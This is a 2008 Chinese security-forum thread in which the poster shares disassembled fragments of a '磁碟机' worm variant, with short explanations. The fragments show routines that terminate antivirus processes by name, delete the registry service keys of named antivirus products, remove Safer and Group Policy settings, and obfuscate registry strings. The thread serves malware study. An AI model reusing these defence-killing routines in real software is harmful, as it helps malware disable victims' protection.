找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1220|回复: 4

磁碟机部分变种代码

[复制链接]

16

主题

157

回帖

230

牛毛

一级牛人

黑客技术就是一把双刃剑,至于如

积分
230
QQ
发表于 2008-4-2 21:23:11 | 显示全部楼层 来自 海南省
嘎嘎。。没时间去研究那些。。研究抓鸡和拿服务器~

2

主题

16

回帖

23

牛毛

初生牛犊

积分
23
发表于 2008-4-2 21:25:24 | 显示全部楼层 来自 广东省珠海市
我頂啊!

5

主题

51

回帖

77

牛毛

初生牛犊

积分
77
发表于 2008-4-3 04:50:06 | 显示全部楼层 来自 云南省
看不懂。做教材比较好

4

主题

61

回帖

90

牛毛

初生牛犊

让网络 成为我们自己的家园!

积分
90
QQ
发表于 2008-4-9 18:02:54 | 显示全部楼层 来自 江苏省镇江市
比较不错

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
 楼主| 发表于 2008-4-2 21:15:54 | 显示全部楼层 |阅读模式
以下内容只是磁碟机变种代码的一部分 懂汇编的朋友可以小研究下 !!!

00402111 |> /8D85 E4FEFFFF /LEA EAX,DWORD PTR SS:[EBP-11C]
00402117 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
0040211A |. |50      |PUSH EAX
0040211B |. |E8 32680000 |CALL <JMP.&MFC42.#860_??4CString@@QAEAB>
00402120 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402123 |. |E8 24680000 |CALL <JMP.&MFC42.#4202_?MakeLower@CStri>
00402128 |. |68 54D44000 |PUSH setup.0040D454          ; rav
0040212D |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402130 |. |E8 11680000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
00402135 |. |3BC3     |CMP EAX,EBX
00402137 |. |75 77    |JNZ SHORT setup.004021B0
00402139 |. |68 50D44000 |PUSH setup.0040D450          ; avp
0040213E |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402141 |. |E8 00680000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
00402146 |. |3BC3     |CMP EAX,EBX
00402148 |. |75 66    |JNZ SHORT setup.004021B0
0040214A |. |68 48D44000 |PUSH setup.0040D448          ; twister
0040214F |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402152 |. |E8 EF670000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
00402157 |. |3BC3     |CMP EAX,EBX
00402159 |. |75 55    |JNZ SHORT setup.004021B0
0040215B |. |68 44D44000 |PUSH setup.0040D444          ; kv
00402160 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402163 |. |E8 DE670000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
00402168 |. |3BC3     |CMP EAX,EBX
0040216A |. |75 44    |JNZ SHORT setup.004021B0
0040216C |. |68 3CD44000 |PUSH setup.0040D43C          ; watch
00402171 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402174 |. |E8 CD670000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
00402179 |. |3BC3     |CMP EAX,EBX
0040217B |. |75 33    |JNZ SHORT setup.004021B0
0040217D |. |68 34D44000 |PUSH setup.0040D434          ; kissvc
00402182 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402185 |. |E8 BC670000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
0040218A |. |3BC3     |CMP EAX,EBX
0040218C |. |75 22    |JNZ SHORT setup.004021B0
0040218E |. |68 2CD44000 |PUSH setup.0040D42C          ; scan
00402193 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
00402196 |. |E8 AB670000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
0040219B |. |3BC3     |CMP EAX,EBX
0040219D |. |75 11    |JNZ SHORT setup.004021B0
0040219F |. |68 24D44000 |PUSH setup.0040D424          ; guard
004021A4 |. |8D4D F0   |LEA ECX,DWORD PTR SS:[EBP-10]
004021A7 |. |E8 9A670000 |CALL <JMP.&MFC42.#2764_?Find@CString@@Q>
004021AC |. |3BC3     |CMP EAX,EBX
004021AE |. |74 25    |JE SHORT setup.004021D5
004021B0 |> |FFB5 C8FEFFFF |PUSH DWORD PTR SS:[EBP-138]      ; /ProcessId
004021B6 |. |6A 00    |PUSH 0                 ; |Inheritable = FALSE
004021B8 |. |68 FF0F1F00 |PUSH 1F0FFF              ; |Access = PROCESS_ALL_ACCESS
004021BD |. |FF15 60A04000 |CALL DWORD PTR DS:[<&KERNEL32.OpenProce>; \\OpenProcess
004021C3 |. |8BF0     |MOV ESI,EAX
004021C5 |. |85F6     |TEST ESI,ESI
004021C7 |. |74 09    |JE SHORT setup.004021D2
004021C9 |. |6A 01    |PUSH 1                 ; /ExitCode = 1
004021CB |. |56      |PUSH ESI                ; |hProcess
004021CC |. |FF15 64A04000 |CALL DWORD PTR DS:[<&KERNEL32.Terminate>; \\TerminateProcess
004021D2 |> |56      |PUSH ESI
004021D3 |. |FFD7     |CALL EDI
004021D5 |> |8D85 C0FEFFFF |LEA EAX,DWORD PTR SS:[EBP-140]
004021DB |. |50      |PUSH EAX                ; /pProcessentry
004021DC |. |FF75 E8   |PUSH DWORD PTR SS:[EBP-18]       ; |hSnapshot
004021DF |. |E8 5C6A0000 |CALL <JMP.&KERNEL32.Process32Next>   ; \\Process32Next
004021E4 |. |85C0     |TEST EAX,EAX
004021E6 |.^\\0F85 25FFFFFF \\JNZ setup.00402111

检测 进程名里是否包含rav,avp,twister,kv,watch,kissvc,scan,guard 如果有则TerminateProcess

之前的行为是通过加载netapi00.sys 恢复SSDT

之后是删除某些杀毒软件服务或者驱动键

004054BE . 57      PUSH EDI
004054BF . 6A 63    PUSH 63
004054C1 . 6A 69    PUSH 69
004054C3 . 6A 76    PUSH 76
004054C5 . 53      PUSH EBX
004054C6 . 57      PUSH EDI
004054C7 . 6A 53    PUSH 53
004054C9 . 58      POP EAX
004054CA . 50      PUSH EAX
004054CB . 6A 43    PUSH 43
004054CD . 6A 56    PUSH 56
004054CF . 50      PUSH EAX
004054D0 . 6A 50    PUSH 50
004054D2 . 6A 4D    PUSH 4D
004054D4 . 6A 5C    PUSH 5C
004054D6 . 6A 73    PUSH 73
004054D8 . 57      PUSH EDI
004054D9 . 6A 63    PUSH 63
004054DB . 6A 69    PUSH 69
004054DD . 6A 76    PUSH 76
004054DF . 53      PUSH EBX
004054E0 . 57      PUSH EDI
004054E1 . 50      PUSH EAX
004054E2 . 6A 5C    PUSH 5C
004054E4 . 6A 74    PUSH 74
004054E6 . 57      PUSH EDI
004054E7 . 50      PUSH EAX
004054E8 . 6A 6C    PUSH 6C
004054EA . 6A 6F    PUSH 6F
004054EC . 53      PUSH EBX
004054ED . 6A 74    PUSH 74
004054EF . 6A 6E    PUSH 6E
004054F1 . 6A 6F    PUSH 6F
004054F3 . 6A 43    PUSH 43
004054F5 . 6A 74    PUSH 74
004054F7 . 6A 6E    PUSH 6E
004054F9 . 57      PUSH EDI
004054FA . 53      PUSH EBX
004054FB . 53      PUSH EBX
004054FC . 6A 75    PUSH 75
004054FE . 6A 43    PUSH 43
00405500 . 6A 5C    PUSH 5C
00405502 . 6A 4D    PUSH 4D
00405504 . 6A 45    PUSH 45
00405506 . 6A 54    PUSH 54
00405508 . 50      PUSH EAX
00405509 . 6A 59    PUSH 59
0040550B . 50      PUSH EAX
0040550C . 8D45 EC   LEA EAX,DWORD PTR SS:[EBP-14]
0040550F . 68 04DC4000 PUSH setup.0040DC04           ; %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c
00405514 . 50      PUSH EAX
00405515 . E8 20340000 CALL <JMP.&MFC42.#2818_?Format@CString@@>
0040551A . 81C4 CC000000 ADD ESP,0CC
00405520 . 8D45 EC   LEA EAX,DWORD PTR SS:[EBP-14]
00405523 . 8BCC     MOV ECX,ESP
00405525 . 8965 E0   MOV DWORD PTR SS:[EBP-20],ESP
00405528 . 50      PUSH EAX
00405529 . E8 12340000 CALL <JMP.&MFC42.#535_??0CString@@QAE@AB>

此段命令执行后得到字串 SYSTEM\\CurrentControlSet\\Services\\MPSVCService

之后00401FE6 /$ B8 3C914000 MOV EAX,setup.0040913C
00401FEB |. E8 406A0000 CALL <JMP.&MSVCRT._EH_prolog>
00401FF0 |. 51      PUSH ECX
00401FF1 |. 53      PUSH EBX
00401FF2 |. 56      PUSH ESI
00401FF3 |. 8D45 F0   LEA EAX,DWORD PTR SS:[EBP-10]
00401FF6 |. 33DB     XOR EBX,EBX
00401FF8 |. 50      PUSH EAX                         ; /pHandle
00401FF9 |. 68 3F000F00 PUSH 0F003F                        ; |Access = KEY_ALL_ACCESS
00401FFE |. 53      PUSH EBX                         ; |Reserved => 0
00401FFF |. BE 02000080 MOV ESI,80000002                     ; |
00402004 |. FF75 08   PUSH DWORD PTR SS:[EBP+8]                 ; |Subkey
00402007 |. 56      PUSH ESI                         ; |hKey => HKEY_LOCAL_MACHINE
00402008 |. FF15 3CA04000 CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKeyExA>]       ; \\RegOpenKeyExA
0040200E |. 85C0     TEST EAX,EAX
00402010 |. 75 15    JNZ SHORT setup.00402027
00402012 |. FF75 08   PUSH DWORD PTR SS:[EBP+8]                 ; /SubKey
00402015 |. 56      PUSH ESI                         ; |hKey => HKEY_LOCAL_MACHINE
00402016 |. FF15 D8A34000 CALL DWORD PTR DS:[<&SHLWAPI.SHDeleteKeyA>]        ; \\SHDeleteKeyA
0040201C |. FF75 F0   PUSH DWORD PTR SS:[EBP-10]                ; /hKey
0040201F |. FF15 0CA04000 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKey>]        ; \\RegCloseKey
00402025 |. B3 01    MOV BL,1
00402027 |> 834D FC FF  OR DWORD PTR SS:[EBP-4],FFFFFFFF
0040202B |. 8D4D 08   LEA ECX,DWORD PTR SS:[EBP+8]
0040202E |. E8 FF670000 CALL <JMP.&MFC42.#800_??1CString@@QAE@XZ>
00402033 |. 8B4D F4   MOV ECX,DWORD PTR SS:[EBP-C]
00402036 |. 8AC3     MOV AL,BL
00402038 |. 5E      POP ESI
00402039 |. 5B      POP EBX
0040203A |. 64:890D 00000>MOV DWORD PTR FS:[0],ECX
00402041 |. C9      LEAVE
00402042 \\. C3      RETN

删除服务

之后类似的方法删除的服务还有

之后删除的服务还有
0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\MPSVCService\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\AntiVirService\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\klif\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\KAVBase\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\ekrn\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\SymEvent\"
0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\PAVSRV\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\tmmbd\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\McShield\"

0013E130 01060178 ASCII \"SYSTEM\\CurrentControlSet\\Services\\HookSys\"

还会删除SOFTWARE\\Policies\\Microsoft\\Windows\\Safer

Software\\Microsoft\\Windows\\CurrentVersion\\Group Policy Objects(组策略)

最后退出的方式

0040615F . FF75 A8   PUSH DWORD PTR SS:[EBP-58]       ; /Title 0013E130 01060058 ASCII \"MCI Program Com Application\"
00406162 . FF75 EC   PUSH DWORD PTR SS:[EBP-14]       ; |Class = \"#32770\"
00406165 . FF15 30A44000 CALL DWORD PTR DS:[<&USER32.FindWindowA>; \\FindWindowA
0040616B . 50      PUSH EAX
0040616C . E8 0B280000 CALL <JMP.&MFC42.#2864_?FromHandle@CWnd>
00406171 . 85C0     TEST EAX,EAX
00406173 . 75 6F    JNZ SHORT setup.004061E4

004061E4 > \\6A 00    PUSH 0                 ; /status = 0
004061E6 . FF15 7CA34000 CALL DWORD PTR DS:[<&MSVCRT.exit>]   ; \\exit

检测 名为“MCI Program Com Application”的窗口是否存在
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-11 22:51 , Processed in 0.133981 second(s), 41 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表